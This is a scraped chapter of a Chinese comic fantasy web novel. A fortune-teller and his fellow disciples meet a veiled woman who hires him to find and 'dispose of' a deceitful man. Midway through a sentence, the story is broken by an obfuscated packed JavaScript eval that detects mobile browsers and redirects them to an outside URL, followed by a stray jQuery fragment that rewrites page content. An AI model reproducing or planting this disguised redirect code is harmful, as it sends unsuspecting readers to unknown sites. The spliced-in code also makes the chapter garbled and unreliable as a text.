默认冷灰
24号文字
方正启体

149.魔鬼特训2.0版本开启第十九步

作者:任君凭栏本书字数:K更新时间:
    “我这等风流倜傥,举世无双的好男儿,居然会没有姻缘?定是你这个老神棍,胡说八道!你信不信我叫人撅了你的破摊子!”


    “诶诶诶,公子诚心求姻缘的话,不妨去城郊的姻缘寺看看。”曲相勖一副和蔼老人的扮相,礼貌扬起一个皮笑肉不笑的微笑,给面前这位其貌不扬,但心比天高的“撅”世公子指了条明路。


    他指着天边的位置,悠悠道:“我观公子气宇轩昂,一表人才,所以才给公子指条明路,你的姻缘说不定就在那儿,可遇不可求。”


    “当真?”公子被他说动,但还是怀疑道。


    曲相勖颔首,掩嘴低声说:“千真万确,但公子切记,可遇不可求。”


    那公子登时眼睛一亮,连连点头,忙起身提上衣摆,快步离去。


    阮葙宁看着他逐渐远去的背影,蹙眉疑问:“他就这么信了?三师兄,刚刚他还骂你,你都不计较。”


    曲相勖脸上挂着职业假笑,腹语道:“呵呵,滚他大爷的风流倜傥、举世无双好男儿,自己啥逼样心里没点数,我看他去一个破庙能找到谁谈情说爱。我从业算命这么多年,他是第一个骂我老神棍的。我不计较,那是绝对不可能的。”


    扶昙幽幽道:“你看起来好恶毒,邪恶农修说的就是你。”


    “朋友,过奖了。”


    白芨摸了摸心口贴着的隐身符,疑惑道:“我们一定要这么狗狗祟祟的吗?为什么要贴隐身符,我们很见不得人吗?”


    “你觉得呢?五个穷鬼,看着别人的包子馄饨流口水,银两拿不出一点,吃霸王餐更是想都不要想。”他说着说着,都快要唱起来了。


    南烛一手按在他的肩上,郑重道:“对不起相勖师兄,都怪我出门没检查好储物袋,把在下界横行霸道之最重要的银两忘记了。这件事情都是我的责任,你要是想撒气的话,你就打我吧。”


    说着,他别过脸,将搭在曲相勖肩上的手放下,而后一脸痛苦地伸到他面前,一副“任凭他处置,自己毫无怨言”的模样,堪比即将英勇就义。


    曲相勖:“……”


    阮葙宁:“?”


    扶昙:“??”


    白芨:“???”


    不是,他有病吧!


    “相勖师兄,你打我吧。不要怜惜我……”


    “住嘴。”曲相勖脸上又扬起那标志性的假笑,腹语道:“南烛表同门,别逼我在刚压下烦躁心情的时候,升起想扇你的心思。不想变成流星,就给我麻溜地闭嘴。”


    南烛:“……”


    阮葙宁附和,“就是就是,这话听着就很奇怪,你是朵娇花吗?”


    南烛:“……”


    扶昙指指点点,咂舌:“啧啧啧,活久见,八旬老太健步如飞,二旬小伙想变流星飞,你脑仁还没进化吗?”


    南烛:“……”


    白芨一言难尽,也带着有色眼镜看他,眼神略显嫌弃,但也无可奈何道:“虽然但是,师弟,你不要担心,也不要害怕,我回去就禀明师傅,让她老人家给你看看缺失的脑干。”


    南烛:“……”


    事实证明,最大的恶意往往出自于周围人的无心之言,南烛就是活生生的例子。


    他闭眼深吸一口气,强忍住飙泪的冲动,然后看着每一个没有攻击他,但言语已经将他攻击到体无完肤的亲疏同门们,心中感动无比。


    看到这里,或许大家会觉得他脑子有病。


    但是,事实证明,这只是忘我道修士的基操而已。


    勿六。


    “天下第一神算子?”


    几人还在明里暗里嫌弃南烛的时候,一道温和的女声蓦然破开众人之间的焦灼氛围。打眼一瞧,卦桌前不知何时立着一位温润如玉,面覆白纱的青衣姑娘。


    曲相勖忙正色道:“正是在下,姑娘请坐。”


    青衣姑娘摇了摇头,只从怀里取出一串色泽喜人、模样繁复的琉璃手串,轻放在卦桌之上,温声道:“在下算是受人所托,并非特意前来算卦。”


    曲相勖颔首称是,却见青衣姑娘的目光直白地落在他身后,他扭脸回看,那正巧是阮葙宁站定的位置。


    阮葙宁的视线从青衣姑娘身上移下,与他看来的目光交汇。


    二人同时冒出疑问:难道还有世外高人?!


    “不过,今日一见先生,却有几分一见如故的心情。”说着,她径直在卦桌前坐下,将跟前的手串又往曲相勖的方向推了一些,“先生收好这订金,为我算一卦吧。”


    曲相勖忙回头去看她,立即捡了桌上的手串,连连温声应和。


    “姑娘,今日想算什么?”


    青衣姑娘垂下眸子,掩藏眼里的笑意,道:“我近日遇见一位容貌昳丽的郎君,心中多欢喜,便刻意追问了几日,得到了他的姓名。却不想这位郎君转头便翻脸不认人,胡乱塞了一串手串给我之后,便以我女儿家的清白恶意构陷,企图将我至于死地。昨日,我偶遇一高人,他说让我来这城中找一位卦师,并且他还说这卦师也是被郎君欺骗的人之一,想来定然是能帮我寻到这个骗子。”


    “呃,姑娘可否说一说这位郎君姓甚名谁。”


    青衣姑娘抬眸,视线又一次越过他,看向他身后的阮葙宁,眸中的戏谑之意隐隐显露,“他说他叫扶砚,后来遇见的高人说自己叫虞七,看样子那位高人应该不是你的托。既如此先生就帮我算算,那位寡毒的郎君是何用意呢?”


    ‘哇哇哇,嘞个暖,好寡毒。’南绛要炸了。


    兰霄啧啧两声,‘师叔,是男人就出来走两步,别让人家往你头上扣屎盆子。’


    ‘……’虞七无语,嗫嚅半晌,才开口道:‘呃,可能我是什么天选倒霉蛋吧。葙宁,你一定相信我是被冤枉的吧?’


    ‘啧啧,不好说,感觉是你能干出来的缺德事。’阮葙宁当即就是一个指指点点的大动作。


    虞七:‘……’


    ‘但是话又说回来。’猛地一个峰回路转,她又继续,‘但是不排除祂顶着你的名号作恶,毕竟有点刻板印象了。’


    虞七点头,‘你说的有道理。’


    南绛不理解,‘祂是谁?你们背着有小秘密了?’


    兰霄更不理解,‘祂是谁?师傅师叔我们不是一家人了吗?你们居然背着我有了秘密暗语?!’


    ‘大人的事,小孩别插嘴。’


    南绛:‘……’


    ——虞七这个贱人!


    兰霄:‘……’


    ——哦~以后吃师傅师叔的席,我就坐小孩那桌,吓飞一众聒噪的小屁孩,然后吃香的,喝辣的。


    咔地一声脆响,曲相勖看着落在卦桌上,应声而裂的龟甲,一脸茫然。


    青衣姑娘也盯着他的龟甲,下意识扬了扬眉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904970|154423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,诧异道:“这个卦象,我还是第一次见,有什么特别的意思吗?”


    “……呃。”曲相勖被她问得一时语塞,倒吸一口凉气,抖着手捋了捋自己的胡须,才开口说:“这,嘶,这是不祥之兆。姑娘要找的这个人怕是虚幻所化,无影无形,触及某些忌讳了。”


    青衣姑娘露出一个果然如此的神情,轻啧一声,整个人气势瞬间就变了。


    “我就知道。”她长叹一口气,嗤笑一声,“看他那副神神叨叨的样子,不是精神分裂的神经病,就是脑干缺失的煞笔。啧,所以,你的意思是,这个人我找不到了?”


    曲相勖踌躇了片刻,郑重点头。


    她深吸一口气,从衣袖里取出一锭黄金砸在卦桌上,面上还挂着和善的笑容,但笑不达眼底,“你既然能算出来,那你一定可以处理这人的,对吧?”


    曲相勖滚动着咽喉,然后迟疑地点了点头。


    “知道拿人钱财,替人消灾是什么意思,对吧?”


    曲相勖看着她那双凌厉的眼睛,被其在气势上压倒,而后忙不迭点头。


    青衣姑娘施施然起身,随意掸了掸衣裳,再度双眼含笑地望着他,“把人处理掉之后,丢在郊外就行。我只要一个结果,过程怎么样,我无所谓。先生,你应该懂我的意思吧?”


    “懂懂懂,我懂。”曲相勖连连应声,生怕慢一瞬,那姑娘就又要说出什么惊世骇俗的话。


    “那,我就等着先生的好消息了。”


    曲相勖忙道:“一定一定。”


    青衣姑娘当即不再多言,四下扫了一眼,便即刻抽身离去。


    他这才敢松懈片刻,靠在木椅的椅背上,长舒一口气,惊觉自己冒了一身冷汗,不自觉拽着自己满是补丁的长袖擦了擦脸。


    “好有压迫感的姑娘。”扶昙啧啧称奇,望着青衣姑娘消失的方向,正色道:“她刚刚频频抬头望这儿看,我总觉得她看见我们几个了。”


    白芨倒吸一口凉气,“刚刚她看向我们的时候,那眼里冒出的浓浓杀气,我瞬间就在脑子里脑补了八百篇杀手穿越古代成为武林第一,杀穿天下卑鄙狗的故事。扶昙,你回去立马让兰苕写出来给我看!”


    “哇,那是什么,感觉好有趣的样子。”阮葙宁强硬挤入这个新圈子,满怀兴致地问:“我可以看看吗?”


    “看!必须看!等我回去,我就打包一大捆,给你送五行宗去!”


    常被师姐逼着看文,且还要写观后感的南烛此刻像是找了替身怨种。


    他两眼放光,忙不迭出声,生怕自己慢一秒,像阮葙宁这样好的怨种,就轮不到自己来坑了。


    “你知不知道你眼里的高兴都要凝成实质,且间夹着几分幸灾乐祸,全是对找到怨种和脱离苦海的喜悦开心。”


    阮葙宁咂舌,“南总,你这样说,我真的很难信你。”


    南烛心里刚燃起来的希望火苗,被阮葙宁一句话泼个透心凉。


    “但是。”又是一次峰回路转,他低落的心情瞬间就又燃起了名为希望的火种,当即目光灼灼地看着阮葙宁。


    “既然你都诚心诚意说了,那我就勉为其难为你排忧解难一丢丢。”


    在听到这句话的时候,南烛的心和呼吸一同停滞了短暂的几秒钟,然后就是呼天抢地、鬼哭狼嚎的咆哮声。


    “阮葙宁,你就是我的姐!我唯一的姐!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)